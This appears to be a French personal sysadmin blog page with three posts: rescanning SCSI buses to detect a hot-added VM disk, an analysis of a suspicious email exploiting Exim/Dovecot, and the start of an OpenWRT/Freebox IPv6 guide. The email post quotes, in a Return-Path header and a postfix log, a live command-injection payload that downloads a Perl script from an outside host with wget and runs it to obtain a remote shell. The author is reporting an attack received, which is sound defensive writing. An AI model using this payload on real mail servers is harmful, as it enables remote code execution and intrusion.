Permettre la détection d’un disque à chaud

Récemment, j’ai eu une petite mésaventure avec une de mes VM: l’hôte a perdu un datastore stocké sur un SAN. Ça a bien viandé la VM, du coup, j’en ai viré le disque virtuel correspondant (ça n’était pas le disque système) et j’ai rebooté.

Quand le SAN est revenu d’entre les morts, j’ai rajouté à chaud ce datastore, mais ça n’a eu aucun impact sur la VM: pas de plantage (ouf), mais pas de nouveau disque.

Du coup, j’ai googlé un peu, et je suis tombé sur cet article d’où j’ai tiré cette commande (à lancer en root sur la VM) qui permet de dire au kernel de rescanner les bus SCSI dès fois qu’il y ait de nouveaux périphériques:

echo "- - -" > /sys/class/scsi_host/host*/scan

Ensuite, avec dmesg, on constate que le disque est bien reconnu:

[41672.511543] scsi 2:0:1:0: Direct-Access     VMware   Virtual disk     1.0  PQ: 0 ANSI: 2
[41672.511557] scsi target2:0:1: Beginning Domain Validation
[41672.512473] scsi target2:0:1: Domain Validation skipping write tests
[41672.512476] scsi target2:0:1: Ending Domain Validation
[41672.512559] scsi target2:0:1: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 127)
[41672.514544] sd 2:0:1:0: [sdb] 2097152000 512-byte logical blocks: (1.07 TB/1000 GiB)
[41672.514577] sd 2:0:1:0: [sdb] Write Protect is off
[41672.514580] sd 2:0:1:0: [sdb] Mode Sense: 61 00 00 00
[41672.514633] sd 2:0:1:0: [sdb] Cache data unavailable
[41672.514636] sd 2:0:1:0: [sdb] Assuming drive cache: write through
[41672.514990] sd 2:0:1:0: [sdb] Cache data unavailable
[41672.514993] sd 2:0:1:0: [sdb] Assuming drive cache: write through
[41672.516113] sd 2:0:1:0: Attached scsi generic sg2 type 0
[41672.877777]  sdb: sdb1
[41672.878075] sd 2:0:1:0: [sdb] Cache data unavailable
[41672.878078] sd 2:0:1:0: [sdb] Assuming drive cache: write through
[41672.878156] sd 2:0:1:0: [sdb] Attached SCSI disk

exploit exim/dovecot

En regardant mes mails ce matin, je suis tombé sur un email bizarre: pas d’expéditeur, pas de sujet, pas de date, et juste un «x» dans le corps du message. Du coup, j’ai regardé ce qu’il y avait vraiment dedans:

Return-Path: <x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}radioactivefrog.com/.x/exim.txt``perl${IFS}/tmp/p.pl`@blaat.com>
Delivered-To: XXXX@YYYY.ZZZZ
Received: by XXXX (Postfix)
    id DFDE128000; Wed, 19 Jun 2013 00:22:35 +0200 (CEST)
Delivered-To: postmaster@localhost
Received: from localhost (localhost.localdomain [127.0.0.1])
    by XXXX (Postfix) with ESMTP id 88FEE2800E
    for <postmaster@localhost>; Wed, 19 Jun 2013 00:22:30 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at XXXX
X-Amavis-Alert: BAD HEADER SECTION, Missing required header field: "Date"
Received: from XXXX ([127.0.0.1])
    by localhost (XXXX [127.0.0.1]) (amavisd-new, port 10024)
    with ESMTP id nKiVoAlmfbvy for <postmaster@localhost>;
    Wed, 19 Jun 2013 00:22:28 +0200 (CEST)
Received: from domain.local (newpress.com.br [64.34.161.112])
    by XXXX (Postfix) with ESMTP id 4C13328000
    for <postmaster@localhost>; Wed, 19 Jun 2013 00:22:23 +0200 (CEST)
X-DKIM: Sendmail DKIM Filter v2.8.2 XXXX 4C13328000

x

Et là, comme moi, vous tiltez sur le Return-Path tout bizarre…

Dans les logs de postfix, on trouve ça:

Jun 19 00:22:35 XXXX postfix/cleanup[12619]: DFDE128000: message-id=<>
Jun 19 00:22:40 XXXX postfix/qmgr[11385]: DFDE128000: from=<x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}radioactivefrog.com/.x/exim.txt``perl${IFS}/tmp/p.pl`@blaat.com>, size=1012, nrcpt=1 (queue active)
Jun 19 00:22:40 XXXX postfix/local[12626]: 88FEE2800E: to=<postmaster@localhost>, relay=local, delay=9.7, delays=5.2/0.16/0/4.3, dsn=2.0.0, status=sent (forwarded as DFDE128000)
Jun 19 00:23:17 XXXX postfix/pipe[12627]: DFDE128000: to=<XXXX@YYYY.ZZZZ>, orig_to=<postmaster@localhost>, relay=dovecot, delay=41, delays=4.3/0.3/0/36, dsn=2.0.0, status=sent (delivered via dovecot service)
Jun 19 00:23:17 XXXX postfix/qmgr[11385]: DFDE128000: removed

Après une petite recherche rapide sur Google… Je suis tombé sur un post () qui m’a permis de rebondir puis et donc de découvrir qu’il s’agit d’un exploit (récent) d’Exim qui se base sur une faille dans Dovecot.

Pour faire simple, le bazar permet de récupérer un shell distant sur la machine attaquée. Si elle est mal configurée/protégée, il n’est plus très compliqué de récupérer un accès root (avec l’exploit kernel dont il est question par exemple).

Et cerise sur le gâteau: le bazar est connu, mais pas encore corrigé 😉

OpenWRT, Freebox et IPv6

L’autre jour, j’ai décidé de repasser ma Freebox en mode bridge, et de la connecter sur un routeur sur lequel j’aurai complètement la main. Bien entendu, tant qu’à faire, je préfère un avoir un routeur sous Linux, avec accès root et tout 🙂

J’ai donc acheté un routeur NetGear WNDR3700v2, dont j’ai aussitôt remplacé le firmware par un OpenWRT.

La suite de cet article va détailler plusieurs choses:

  • Comment ne pas perdre les services TV de la Freebox (tant qu’à faire);
  • Comment avoir une conf IPv6 fonctionnelle.

Par contre, il ne parlera pas de l’installation et de la configuration de base d’OpenWRT sur ce routeur. Pour ça, il y a tout ce qu’il faut sur le wiki d’OpenWRT.

Continue reading